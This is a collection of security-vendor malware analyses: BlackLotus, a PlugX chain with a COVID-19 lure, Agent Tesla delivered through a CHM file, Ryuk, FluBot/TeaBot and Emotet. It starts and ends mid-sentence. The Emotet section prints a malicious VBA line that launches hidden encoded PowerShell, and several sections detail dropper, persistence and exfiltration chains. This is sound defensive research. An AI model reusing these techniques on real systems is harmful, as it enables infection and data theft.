obfuscated JavaScript downloader responsible for retrieving and executing the Emotet payload on the system. A snippet from the obfuscated downloader is shown below. In a relatively short period, Emotet has modified its infection chain several times to maximize the likelihood of successfully infecting victims. ## Indicators of Compromise Indicators of compromise (IOCs) associated with ongoing Emotet campaigns can be found here. ## Coverage Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance, and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Talos created the following coverage for this threat. **Snort SIDs:** 51967-51971, 43890-43892, 44559, 44560, 47327, 47616, 47617, 48402, 49888, 49889, 52029, 53108, 53353-53360, 53770, 53771, 54804, 54805, 54900, 54901, 54924, 54925, 55253, 55254, 55591, 55592, 55781, 55782, 55787, 55788, 55869, 55870, 55873, 55874, 55929-55931, 56003, 56046, 56047, 56170, 56171, 56528, 56529, 56535, 56536, 56620, 56621, 56656, 56657, 56713, 56714, 56906, 56907, 56924, 56925, 56969, 56970, 56983, 56984, 57901, 58943 **ClamAV Rules:** Onenote.Dropper.Emotet-9993911-1 Onenote.Dropper.CodPhish-Emotet-9993220-1 Onenote.Trojan.Agent-9987935-0
# BlackLotus UEFI Bootkit: Myth Confirmed **March 1, 2023** The first in-the-wild UEFI bootkit bypassing UEFI Secure Boot on fully updated UEFI systems is now a reality. The number of UEFI vulnerabilities discovered in recent years and the failures in patching them or revoking vulnerable binaries within a reasonable time window hasn’t gone unnoticed by threat actors. As a result, the first publicly known UEFI bootkit bypassing the essential platform security feature – UEFI Secure Boot – is now a reality. In this blog post, we present the first public analysis of this UEFI bootkit, which is capable of running on even fully up-to-date Windows 11 systems with UEFI Secure Boot enabled. Functionality of the bootkit and its individual features leads us to believe that we are dealing with a bootkit known as BlackLotus, the UEFI bootkit being sold on hacking forums for $5,000 since at least October 2022. UEFI bootkits are very powerful threats, having full control over the OS boot process and thus capable of disabling various OS security mechanisms and deploying their own kernel-mode or user-mode payloads in early OS startup stages. This allows them to operate very stealthily and with high privileges. So far, only a few have been discovered in the wild and publicly described (e.g., multiple malicious EFI samples we discovered in 2020, or fully featured UEFI bootkits such as our discovery last year – the ESPecter bootkit – or the FinSpy bootkit discovered by researchers from Kaspersky). UEFI bootkits may lose on stealthiness when compared to firmware implants – such as LoJax; the first in-the-wild UEFI firmware implant, discovered by our team in 2018 – as bootkits are located on an easily accessible FAT32 disk partition. However, running as a bootloader gives them almost the same capabilities as firmware implants, but without having to overcome the multilevel SPI flash defenses, such as the BWE, BLE, and PRx protection bits, or the protections provided by hardware (like Intel Boot Guard). Sure, UEFI Secure Boot stands in the way of UEFI bootkits, but there are a non-negligible number of known vulnerabilities that allow bypassing this essential security mechanism. And the worst of this is that some of them are still easily exploitable on up-to-date systems even at the time of this writing – including the one exploited by BlackLotus. Our investigation started with a few hits on what turned out to be the BlackLotus user-mode component – an HTTP downloader – in our telemetry late in 2022. After an initial assessment, code patterns found in the samples brought us to the discovery of six BlackLotus installers (both on VirusTotal and in our own telemetry). This allowed us to explore the whole execution chain and to realize that what we were dealing with here is not just regular malware. ### Key Points About BlackLotus - It’s capable of running on the latest, fully patched Windows 11 systems with UEFI Secure Boot enabled. - It exploits a more than one-year-old vulnerability (CVE-2022-21894) to bypass UEFI Secure Boot and set up persistence for the bootkit. - This is the first publicly known, in-the-wild abuse of this vulnerability. - Although the vulnerability was fixed in Microsoft’s January 2022 update, its exploitation is still possible as the affected, validly signed binaries have still not been added to the UEFI revocation list. BlackLotus takes advantage of this, bringing its own copies of legitimate – but vulnerable – binaries to the system in order to exploit the vulnerability. - It’s capable of disabling OS security mechanisms such as BitLocker, HVCI, and Windows Defender. - Once installed, the bootkit’s main goal is to deploy a kernel driver (which, among other things, protects the bootkit from removal) and an HTTP downloader responsible for communication with the C&C and capable of loading additional user-mode or kernel-mode payloads. - BlackLotus has been advertised and sold on underground forums since at least October 6th, 2022. In this blog post, we present evidence that the bootkit is real, and the advertisement is not merely a scam. Interestingly, some of the BlackLotus installers we have analyzed do not proceed with bootkit installation if the compromised host uses one of the following locales: - Romanian (Moldova), ro-MD - Russian (Moldova), ru-MD - Russian (Russia), ru-RU - Ukrainian (Ukraine), uk-UA - Belarusian (Belarus), be-BY - Armenian (Armenia), hy-AM - Kazakh (Kazakhstan), kk-KZ ### Attack Overview A simplified scheme of the BlackLotus compromise chain consists of three main parts: 1. It starts with the execution of an installer, which is responsible for deploying the bootkit’s files to the EFI System partition, disabling HVCI and BitLocker, and then rebooting the machine. 2. After the first reboot, exploitation of CVE-2022-21894 and subsequent enrollment of the attackers’ Machine Owner Key (MOK) occurs, to achieve persistence even on systems with UEFI Secure Boot enabled. The machine is then rebooted again. 3. In all subsequent boots, the self-signed UEFI bootkit is executed and deploys both its kernel driver and user-mode payload, the HTTP downloader. Together, these components are able to download and execute additional user-mode and driver components from the C&C server and protect the bootkit against removal. ### Interesting Artifacts Even though we believe this is the BlackLotus UEFI bootkit, we did not find any reference to this name in the samples we analyzed. Instead, the code is full of references to the *Higurashi When They Cry* anime series, for example in individual component names, such as `higurashi_installer_uac_module.dll` and `higurashi_kernel.sys`, and also in the self-signed certificate used to sign the bootkit binary. ### Installation Process The bootkit seems to be distributed in a form of installers that come in two versions – offline and online. The difference between these two is in the way they obtain legitimate (but vulnerable) Windows binaries, later used for bypassing Secure Boot. - In offline versions, Windows binaries are embedded in the installer. - In online versions, Windows binaries are downloaded directly from the Microsoft symbol store. The goal of the installer is clear – it’s responsible for disabling Windows security features such as BitLocker disk encryption and HVCI, and for deployment of multiple files, including the malicious bootkit, to the ESP. Once finished, it reboots the compromised machine to let the dropped files do their job – to make sure the self-signed UEFI bootkit will be silently executed on every system start, regardless of UEFI Secure Boot protection status. ### Bypassing Secure Boot and Establishing Persistence In this part, we take a closer look at how BlackLotus achieves persistence on systems with UEFI Secure Boot enabled. This process consists of two key steps: 1. Exploiting CVE-2022-21894 to bypass the Secure Boot feature and install the bootkit. This allows arbitrary code execution in early boot phases, where the platform is still owned by firmware and UEFI Boot Services functions are still available. 2. Setting persistence by writing its own MOK to the MokList, Boot-services-only NVRAM variable. By doing this, it can use a legitimate Microsoft-signed shim for loading its self-signed UEFI bootkit instead of exploiting the vulnerability on every boot. ### Conclusion Many critical vulnerabilities affecting the security of UEFI systems have been discovered in the last few years. Unfortunately, due to the complexity of the whole UEFI ecosystem and related supply-chain problems, many of these vulnerabilities have left many systems vulnerable even a long time after the vulnerabilities have been fixed. The existence of BlackLotus confirms this. Keeping your system and its security product up to date is a must to raise the chance that a threat will be stopped right at the beginning, before it’s able to achieve pre-OS persistence. ### IoCs **Files** - SHA-1: 05846D5B1D37EE2D716140DE4F4F984CF1E631D1 - BlackLotus installer. - SHA-1: 2CE056AE323B0380B0E87225EA0AE087A33CD316 - BlackLotus UEFI bootkit. - SHA-1: 06AF3016ACCDB3DFE1C23657BF1BF91C13BAA757 - BlackLotus HTTP downloader. **Certificates** - Serial number: 570B5D22B723B4A442CC6EEEBC2580E8 - Thumbprint: C8E6BF8B6FDA161BBFA5470BCC262B1BDC92A359 - Subject CN: When They Cry CA **Network** - IP: 104.21.22[.]185 - BlackLotus C&C. **MITRE ATT&CK Techniques** - T1587.002: Develop Capabilities: Code Signing Certificates. - T1203: Exploitation for Client Execution. - T1542.003: Pre-OS Boot: Bootkit. This summary provides an overview of the BlackLotus UEFI bootkit, its capabilities, and the implications for system security.
# Is APT27 Abusing COVID-19 To Attack People?! ## Scenario We are living in hard times; many countries around the world are hit by COVID-19, which is a very dangerous disease. Unfortunately, there have been many deaths, thousands of infected people, a shortage of breathing equipment, and billions of dollars lost, leading many companies into economic and financial crises. Governments are doing their best to mitigate the virus while people are stuck at home, working remotely using their own equipment. In this scenario, jackals are luring people using every dirty way to attack their private devices. At home, it’s hard to have advanced protection systems as we have in companies. For example, it’s hard to have Intrusion Prevention Systems, proxies, advanced threat protection, automated sandboxing, and advanced endpoint protections, leaving personal devices more vulnerable to attacks. In this reality, ruthless attackers abuse this situation to target digitally unprotected people. Today, many reports describe how infamous attackers are exploiting this emergency to lure people by sending thematic email campaigns or using thematic IM with malware or phishing links. I want to contribute to this blog roll by analyzing a new spreading variant that hit my observatory. It’s quite sad if an APT group makes use of its knowledge to take advantage of today’s situation. ## Stage 1 The first stage is a fake PDF file. It looks like a real PDF, has a hidden extension, and a nice PDF icon, but it isn’t a PDF; it’s actually a .lnk file, or in other words, a “Microsoft Linking File.” - **Sha256**: 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8 - **Threat**: Dropper and Execution - **Ssdeep**: 24576:2D9JuasgfxPmNirQ2dRqZJuH3eBf9mddWoX+KIKoIkVrI:2DzuOxPm0iZLKIKRkq - **Description**: Fake PDF file used to run the initial infection chain. Opening the .lnk file reveals a weird linking pattern. There are two main sections: one is a kind of header where commands can be observed, and the other section contains a large encoded payload. Once beautified, the first section is easier to understand. It copies itself into a temporary folder (through `cmd.exe`), extracts bytes from its body (from section two), decodes these bytes from Base64 (through `msoia.exe`), and places the extracted content into the temporary user folder. It deflates the content (through `expand`) and finally executes a JavaScript file (through `wscript`) included in the compressed content. The attacker copied `certutils` from the local system using `(*ertu*.exe)` to avoid command line detection from public sandboxes. Many sandboxes have signatures on `certutils`, as it’s a notorious tool used by some attackers, so avoiding the behavior signature match would lower the score from public sandboxes. ## Stage 2 Stage 1 carved Stage 2 from its body by extracting bytes and decoding them using Base64 encoding. The new stage is a Microsoft compressed CAB file described in the following table. - **Sha256**: f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9 - **Threat**: Malware Carrier/Packer/Compressor - **Ssdeep**: 24576:CkL6X/3PSCuflrdNZ4J00ZcmNh3wsAR36Mge:vLK/fS200ZcYh3kqpe - **Description**: Microsoft CAB bringing contents. Extracting files from the Microsoft CAB reveals six more files entering the battlefield: - `20200308-sitrep-48-covid-19.pdf`: The original PDF from WHO explaining the COVID-19 status and how to fight it. - `3UDBUTNY7YstRc.tmp`: PE32 Executable file (DLL). - `486AULMsOPmf6W.tmp`: PE32 Executable (GUI). - `9sOXN6Ltf0afe7.js`: JavaScript file (called by .lnk). - `cSi1r0uywDNvDu.tmp`: XSL StyleSheet Document. - `MiZl5xsDRylf0W.tmp`: Text file including PE32 file. Stage 1 executes the JavaScript included in the CAB file. `9sOXN6Ltf0afe7.js` performs an `ActiveXObject` call to `WScript.Shell` to execute Windows command lists. Once deobfuscated and beautified, the command line looks like the following. The attacker creates a folder that looks like a “file” by calling it `cscript.exe`, trying to deceive the analyst. Then the attacker populates that folder with the needed files to follow the infection chain. A special thought goes to `WINRM.VBS`, which helped the attacker execute Signed Script Proxy Execution (T1216). According to Microsoft, “WINRM is the CLI interface to our WS-MGMT protocol. The neat thing about this is that you can call it from PowerShell to manage remote systems that don’t have PowerShell installed on them (including Server Core systems and Raw hardware).” The attacker also places a file called `Wordcnvpxy.exe` in the `OFFICE12` folder. We will analyze it in a few steps, but at this stage, we observe that it is the “last call” before luring the victim by showing the good PDF file (also included in the CAB). According to `9sOXN6Ltf0afe7.js`, the first run is on `WsmPty.xsl`, which is the renamed version of `cSi1r0uywDNvDu.tmp`. ## Stage 3 Stage 3 is run by Stage 2 and is an XSL (StyleSheet Office file) wrapping a VBScript object. - **Sha256**: 9d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc - **Threat**: Payload Extractor and Command Executor - **Ssdeep**: 96:46Pdv3fOYCeeapSCDIKufYS2VGsBu746WJCSmCZyAcGghF:fh3fOYneaLDIgnNEFCZyAcGsF - **Description**: Decode Additional Stage by using coding charsets and XOR. The following VBScript is run through `cscript.exe`. It’s an obfuscated and XOR-encrypted payload. The encryption is performed by a simple XOR having as key the single byte 0, while the encoding procedure is a multi-conversion routine. The attacker tried to confuse the analyst by reusing variable names in private or local contexts, but after a couple of minutes, you might eventually come out with the following decryption loop. If you run it against the embedded payload, you will eventually see a new stage: Stage 4. A brand new script targeting old versions of MS Office. ## Stage 4 Stage 4 is decoded and run by Stage 3. This stage runs an attacker version of `MSOSTYLE.exe` copied from Stage 2. It hijacks a method on an old Office 2007 component (Office Data Provider for `MSOSTYLE.exe`). - **Sha256**: 7f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0 - **Threat**: Persistence and Execution - **Ssdeep**: 48:zKxYaDzzXRrVHyMqHeIyJwlLGvTlGrbaTFGNT93TPTxGVhTG6TWWWsKj390C9nEm:zKxjDRt+e1sGvJG3aRGNNDtGLLqP5j3 - **Description**: Set persistence on the target system (Script File). The decrypted and decoded stage shows that the attacker wants to gain persistence on the target machine and run additional payloads by abusing `MSOSTYLE.exe` (old component) placed in the “right folder” from Stage 2. The persistence is guaranteed by adding a link called `Accessories.lnk` inside the startup Windows folder pointing to `MiZl5xsDRylf0W.tmp`. ## Stage 5 Stage 5 is activated by Stage 2 but only after the execution of Stage 3 and Stage 4. Stage 5 is a multi-step session composed of the following additional artifacts: (i) `3UDBUTNY7YstRc.tmp` renamed by Stage 2 into `OINFO12.OCX` and (ii) `MiZl5xsDRylf0W.tmp` renamed by Stage 2 into `Wordcnvpxy.exe`. Every single artifact is available after the execution of Stage 2 in the crafted folder called `OFFICE12` from the user home. - **Sha256**: 604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d - **Threat**: Remote Control, depending on usage - **Ssdeep**: 536:/4yuzgQ5WugrQ+SccIp1t4xO67y5qHae:gyuzgKwr9bB1t4xO67y5j - **Description**: Office Data Provider for WBEM, not malicious but accountable. `MSOSTYLE.EXE` is an old Microsoft Office Data Provider for WBEM. Web-Based Enterprise Management (WBEM) comprises a set of systems-management technologies developed to unify the management of distributed computing environments. It could not be considered malicious, but it could be considered accountable for the entire infection chain. - **Sha256**: a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e - **Threat**: PlugX, Command Execution - **Ssdeep**: 768:jxmCQWD+TAxTRh40XfEDDnFt4AczonsT:MC5bw+zosT - **Description**: A runner plus Command Execution, Plugging Manager. At the time of writing, only three AVs detect `OINFO12.OCX` as a malicious file. Rising AV is actually the only company that attributes it to a well-known PlugX sample. According to Trend Micro, the PlugX malware family is well known to researchers, with samples dating back to as early as 2008. PlugX is a fully featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload, download, modification, keystroke logging, webcam control, and access to a remote `cmd.exe` shell. Taking it on static analysis, it will expose three callable functions: `DeleteOfficeData (0x10001020)`, `GetOfficeData (0x10001000)`, and `EntryPoint (0x100015ac)`. Both of the methods `DeleteOfficeData` and `GetOfficeData` look like recalling a classic method to hijack the old Office Parser. Indeed, if run from its Entry Point, the DLL executes `Wordcnvpxy.exe` (as it is the default plugin component). The executable DLL must be in the same path as `Wordcnvpxy.exe` and needs to have such a filename (imposed by Stage 2 and hardcoded into the library). On the other side, if commands are passed through stdin, it executes the given parameters as commands. Finally, we have `Wordcnvpxy.exe`, which is run in the same stage (Stage 5) by `OINFO12.OCX`. At the time of writing, it is well-known from static engines and looks like a standard backdoor beaconing to its command and control installed as a PlugX module. - **Sha256**: 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124 - **Threat**: PlugX, Backdoor - **Ssdeep**: 1536:9/dlJMLIU94EYayTdHP6rUkn16O41yWCzB:93JsZxePUAFgWCz - **Description**: Probably one of the last stages, beaconing to C2 and executing external commands. The sample uses dynamic function loading, avoiding static enumeration and guessing. It grabs information on the victim, PC name, username, IP location, and sends them to C2 as a first beacon. The used Command and Control resolves to the following URL: `hxxp://motivation[.]neighboring[.]site/01/index.php`. Unfortunately, the attacker shut down everything a few hours after I started my analysis, so I do not have more information about the network, commands, and additional plugins. However, the overall structure reminds me of PlugX RAT. ## Attribution According to MITRE, PlugX is a well-known RAT attributed to China’s APT. APT27 (aka Emissary Panda) is the most notable APT group that used it. Moreover, “on Chinese culture, hijacking methods are mandatory knowledge for a job like pentesting,” which could enforce the theory of APT27. UPDATE: I am aware that PlugX is today an open-source RAT, and I am aware that this is not enough for attribution. The intent of the title is to put doubts on that attribution by the usage of “?” (question mark). On one hand, PlugX historically has been attributed to APT27, but on the other hand, it’s public. So it’s hard to say Yes or No; for this reason, the intent of this blog post is: Is APT27 Abusing COVID-19 To Attack People?! It’s an open question, not a position. We all are passing a bad time. COVID-19 has caused many deaths and is threatening entire economies. Please, even if you are an attacker and you gain profit from your infamous job, stop cyber attacks against people who are suffering from this pandemic and rest. Ethics and compassion should be alive – even behind your monitors. ## IoC - 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8 (original .lnk) - f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9 (Stage 2) - 9d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc (Stage 3) - 7f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0 (Stage 4) - a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e (Stage 5/a) - 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124 (Stage 5/b) - hxxp://motivation[.]neighboring[.]site/01/index.php (C2)
# Malicious Compiled HTML Help File **By Tyler Halfpop** **May 12, 2022** **Category:** Malware **Tags:** AgentTesla, anti-analysis ## Executive Summary This blog describes an attack that Unit 42 observed utilizing malicious compiled HTML help files for the initial delivery. We will show how to analyze the malicious compiled HTML help file. We will then follow the chain of attack through JavaScript and multiple stages of PowerShell and show how to analyze them up to the final payload. The attack is interesting because attackers are often looking for creative ways to deliver their payloads. Their purpose in doing so is twofold: - An attempt to bypass security products. - An attempt to bypass security training. Potential victims may have been trained to avoid documents, scripts, and executables from unknown senders, but it is important to be careful of almost any filetype. This particular attack chain delivered Agent Tesla as the final payload. Agent Tesla is well-known malware that has been around for a while. Agent Tesla focuses on stealing sensitive information from a victim’s computer and sending that information to the attacker over FTP, SMTP, or HTTP. It does this primarily via keystroke logging, screen capturing, camera recording, and accessing sensitive data. Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions. ## Initial Attack The initial attack sent a 7zip compressed file named `ORDER OF CONTRACT-pdf.7z`, which contained the single malicious compiled HTML help file `ORDER OF CONTRACT-pdf.chm` (SHA256: `081fd54d8d4731bbea9a2588ca53672feef0b835dc9fa9855b020a352819feaa`). When the victim opens the help file, this apparently innocuous window displays. The help file can be extracted using 7zip to view the contents. The interesting file is the `kkjhk.htm` file, which displays the decoy window and executes the code. The file contains obfuscated JavaScript that is executed when the file is opened. We can deobfuscate this code by opening the file in Chrome and using the Chrome Developer Tools. The code above shows that the result that is returned is stored in the `r` variable. We can use the JavaScript debugger in Chrome Developer Tools to break on the return statement. After we have halted execution on our breakpoint, we can then view the contents of the `r` variable and copy that for further analysis. The contents of the `r` variable show the HTML code to display the decoy message and a command to execute PowerShell. ## Initial PowerShell The obfuscated PowerShell code is executed in the background when the file is opened. We can deobfuscate this code so that we can read it more easily by removing the final obfuscated Invoke-Expression cmdlet (`I E X()`). Attackers often insert backticks into sensitive commands like this to avoid simple string recognition because PowerShell ignores these characters. We can then see that the sample utilizes the PowerShell `Test-Connection` cmdlet to ping Google to verify connectivity before continuing. The sample then downloads and executes code from `http://pk-consult[.]hr/N2.jpg`. ## Second Stage The downloaded content is not actually a jpeg, but rather further PowerShell code that is executed. We can see below that it decompresses and loads several byte arrays in memory. We can modify the sample simply to output the byte arrays to files by commenting out the execution and writing them to files. ## Final Agent Tesla Payload We are left with a loader DLL in `$decompressedByteArray` (SHA256: `0fd2e47d373e07488748ac63d9229fdef4fd83d51cf6da79a10628765956de7a`) and a gzip compressed Agent Tesla in `$vhRo` (SHA256: `c684f1a6ec49214eba61175303bcaacb91dc0eba75abd0bd0e2407f3e65bce2a`). The loader DLL loads Agent Tesla into the `RegAsm.exe` process to execute. This Agent Tesla sample uses FTP and connects to `ftp.videoalliance[.]ru` for data exfiltration. ## Conclusion Malicious actors are often looking for creative or different ways to deliver their malicious payloads. Microsoft Compiled HTML files are another file format that can be abused by malicious actors in addition to the more common document or script delivery methods used. It is important to make sure that users are trained to be careful of any attachments, especially from unknown senders. Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention cloud-delivered security subscriptions. ## Indicators of Compromise - `3446ec621506d87d372c596e1d384d9fd2c1637b3655d7ccadf5d9f64678681e` ORDER OF CONTRACT-pdf.7z - `081fd54d8d4731bbea9a2588ca53672feef0b835dc9fa9855b020a352819feaa` ORDER OF CONTRACT-pdf.chm - `9ba024231d4aed094757324d8c65c35d605a51cdc1e18ae570f1b059085c2454` N2.jpg - `0fd2e47d373e07488748ac63d9229fdef4fd83d51cf6da79a10628765956de7a` GC.dll - `c684f1a6ec49214eba61175303bcaacb91dc0eba75abd0bd0e2407f3e65bce2a` Agent Tesla dotNet executable - `hxxp://pk-consult[.]hr/N2.jpg` - `ftp.videoalliance[.]ru`
# Ryuk Ransomware Stops Encrypting Linux Folders A new version of the Ryuk Ransomware was released that will purposely avoid encrypting folders commonly seen in *NIX operating systems. After the City of New Orleans was infected by ransomware, BleepingComputer confirmed that the city was infected by the Ryuk Ransomware using an executable named v2.exe. After analyzing the v2.exe sample, security researcher Vitali Kremez shared with BleepingComputer an interesting change in the ransomware; it would no longer encrypt folders that are associated with *NIX operating systems. ## Blacklist *NIX Folders The list of Ryuk blacklisted *NIX folders are: - bin - boot - Boot - dev - etc - lib - initrd - sbin - sys - vmlinuz - run - var At first glance, it seems strange that a Windows malware would blacklist *NIX folders when encrypting files. Even stranger, Kremez told us that he has been asked numerous times whether there was a Unix variant of Ryuk as data stored in these operating systems have been encrypted in Ryuk attacks. A Linux/Unix variant of Ryuk does not exist, but Windows 10 does contain a feature called the Windows Subsystem for Linux (WSL) that allows you to install various Linux distributions directly in Windows. These installations utilize folders with the same blacklisted names as listed above. With the rising popularity of WSL, the Ryuk actors likely encrypted a Windows machine at some point that also affected the *NIX system folders used by WSL. This would have caused these WSL installations to no longer work. "They definitely have cases affecting WSL environments, which likely led them to blacklist NIX folders as they similarly do with the Windows ones. It is new to me and might explain why Ryuk and how Ryuk affects NIX machines via WSL," Kremez told BleepingComputer. As the goal of most successful ransomware is to encrypt a victim's data, but not affect the functionality of the operating system, this change makes sense. With these folders being blacklisted, Ryuk eliminates an additional headache that they would need to deal with for a paying customer whose WSL installations are ruined.
# New FluBot and TeaBot Global Malware Campaigns Discovered Some malware and phishing campaigns have short lives, tending to dissipate after they're identified by security solutions. Others seem to survive year after year, with victims falling for the same tricks. Banking trojans such as TeaBot and FluBot and the "Is it you in the video?" scams are just two examples of threats that adapt to remain relevant. The impact of TeaBot and FluBot trojans became apparent last year globally. Threat actors used mockups of popular apps, applications posing as ad-blockers, and sent SMS messages from already-compromised devices to spread the malware organically. The banking trojans' functionality is straightforward—they steal banking, contact, SMS, and other types of private data from infected devices. They have an arsenal of other commands available, including sending an SMS with content provided by the command and control (CnC). This allows its operators to change targeted banks and other features on the fly, depending on the countries affected. These threats survive because they come in waves with different messages and in different time zones. While the malware itself remains pretty static, the message used to carry it, the domains that host the droppers, and everything else is constantly changing. Since the beginning of December, Bitdefender Labs intercepted over 100,000 malicious SMS messages tied to distributing FluBot malware by analyzing telemetry from the new Scam Alert feature, now available by default in Bitdefender Mobile Security & Antivirus. Findings indicate attackers are modifying their subject lines and using older yet proven scams to entice users to click. Additionally, attackers are rapidly changing the countries they are targeting in this campaign. ## FluBot Distribution Worldwide The FluBot operators target different zones for short periods—sometimes just a few days. For example, in the month between Dec. 1 of last year and Jan. 2 of this year, the malware was highly active in Australia, Germany, Spain, Italy, and a few other European countries. Starting Jan. 3, 2022, the attackers began to look at other countries to spread their malware, including Poland, Romania, and the Netherlands. In fact, Romania has been one of the main targets in the past few days. ### ‘Is this you in this video?’ Message Adapted in FluBot Campaign A simple phishing campaign is still making the rounds on social media, primarily through Facebook's Messenger. Users receive a message from a friend in their list with a question (“Is this you in this video?“ or some variation) and a link. When the victim clicks on the link, it usually redirects them to a fake Facebook login that gives attackers direct access to credentials. The phishing campaign is already a couple of years old, and it's persistent. It shows up on Facebook in waves and doesn't seem to disappear. We mention this campaign because FluBot operators have adopted a similar message for their malware. In this situation, victims receive an SMS message along the lines of “Is this you in this video?”. The goal is the same—to somehow mislead people into installing the software under some pretext, by telling them that Flash or some Android component actually needs an upgrade after they've opened the link informing them they could be in a video. This new vector for banking trojans shows that attackers are looking to expand past the regular malicious SMS messages. ## New TeaBot Campaign Targeting Official App Stores Most believe the official Google Play Store is completely safe to download and vetted for security purposes before they become available to the public. That's true most of the time but not always. Sometimes malicious apps are missed and stay active on official stores accruing thousands of downloads before they are noticed and taken down. We found something strange during our investigation of the new FluBot campaign. We initially believed FluBot was being installed on devices without a malicious SMS being sent but discovered that a different malicious banking bot was installed on the same device. We determined it was a TeaBot variant, and further investigation led to the finding of a dropper application in Google Play Store named the 'QR Code Reader - Scanner App', with over 100,000 downloads, that has been distributed 17 different TeaBot variants for a little over a month. Bitdefender's security researchers have found that the 'QR Code Reader - Scanner App' found in the Google Play Store is likely a heavily encrypted TeaBot dropper. In just 30 days, it dropped 17 variants of the malware. The application itself is not malicious, and it does offer the promised functionality, but that's a known tactic. The malicious code within the app has a minimal footprint, as the authors were careful about not triggering security heuristics. The path followed after installation is relevant in itself. When the user starts the Android app, it also starts a background service that checks the country code of the current registered operator (or the cell nearby). If the country starts with a "U" or is unavailable, the app skips executing the malicious code, which means that countries like Ukraine, Uzbekistan, Uruguay, and the US are skipped. If the app passes the check, it retrieves the context of a settings file from GitHub. This file contains a different GitHub repository file link pointing to the actual payload to download. This settings file, from the QR Code Reader repository, has the URL changed whenever a different payload URL is needed or even removed if the authors wish to deactivate the malicious behavior temporarily. If there is a URL in the settings file, the APK is downloaded and saved to '/sdcard/Android/data/com.lorankey.qrcode/files/Download/addonqrapp.apk', and the installation is initiated. The app itself presents a fake UI saying that an update is required, and users are instructed to allow the Android app to install third-party packages. Combining our telemetry with GitHub's repositories history, we identified a minimum of 17 different versions of TeaBot that were deployed to victims from Dec. 6 of last year to Jan. 17 of this year. ## Indicators of Compromise (IOC) We already notified Google and GitHub regarding all of this malicious activity and GitHub took down the accounts. ### Dropper MD5 and Package Names - 6be155472cedc94d834a220b6217c029 - com.lorankey.qrcode - 125a0b5013e3ef4b6a4af2d184b68a0b - com.scannet.qrbar - 57f6576705e7e8b11fbd3480b7602f25 - com.qrcodeapp.qrcodeapp - 77dd1738f3109a15a9b38db2845bbb54 - com.butkusnedas.smart.cleaner ### TeaBot Payload MD5 - 11d60ea8b765805fd21ccaa394c0f1c5 - 199a05563aac440df1ece5900dc8728b - 243063fdfc605e52e415286d441c64cd This article is available courtesy of the Bitdefender Mobile Threats team.
# Emotet Technical Analysis - Part 2: PowerShell Unveiled Researchers identified Emotet for the first time in 2014 as a banking malware stealing sensitive and private information. Now, adversaries are using Emotet as Infrastructure as a Service (IaaS) for delivering malware, including other banking Trojans. Emotet incorporates various obfuscation and evasion techniques to avoid detection, and these techniques change over time. We revealed obfuscated Visual Basic codes in the first part of the Emotet Technical Analysis series. In this second part, we analyze the PowerShell codes in the Emotet malware document. ### 1) VBA Code Analysis Let's remember the revealed VBA code: ```vb Do While GetObject("winmgmt:win32_Process").Create("Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAH") Loop ``` In this Do While loop, the Create method of the Win32_Process class is used to create a new process. The Create WMI class method creates a new process. **Syntax:** ```plaintext uint32 Create( [in] string CommandLine, [in] string CurrentDirectory, [in] Win32_ProcessStartup ProcessStartupInformation, [out] uint32 ProcessId ); ``` The first variable is the CommandLine to execute. It is a PowerShell command in this code. The second variable is the CurrentDirectory. If this parameter is NULL, the new process will have the same path as the calling process. The third variable is ProcessStartupInformation, like "winmgmt:win32_ProcessStartup" in this example. The last variable is the global process identifier that can be used to identify a process. Therefore, the VBA code embedded in the Word document executes a PowerShell command using WMI. ### 2) Analyzing the PowerShell Parameters We'll reveal the obfuscated malicious PowerShell command in this blog. Let's remember the PowerShell command: ```plaintext Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAH ``` Let's start with the -w parameter and the hidden value: -w hidden. However, there is not a parameter named -w according to the official PowerShell documentation. In fact, the -w parameter is completed by PowerShell as the -WindowStyle parameter because of the parameter substring completion feature of PowerShell. Adversaries commonly use the -WindowStyle parameter with Hidden value in malicious PowerShell commands to avoid detection. Actually, -WindowStyle Hidden does not entirely hide the PowerShell command windows; it shows the command window for a 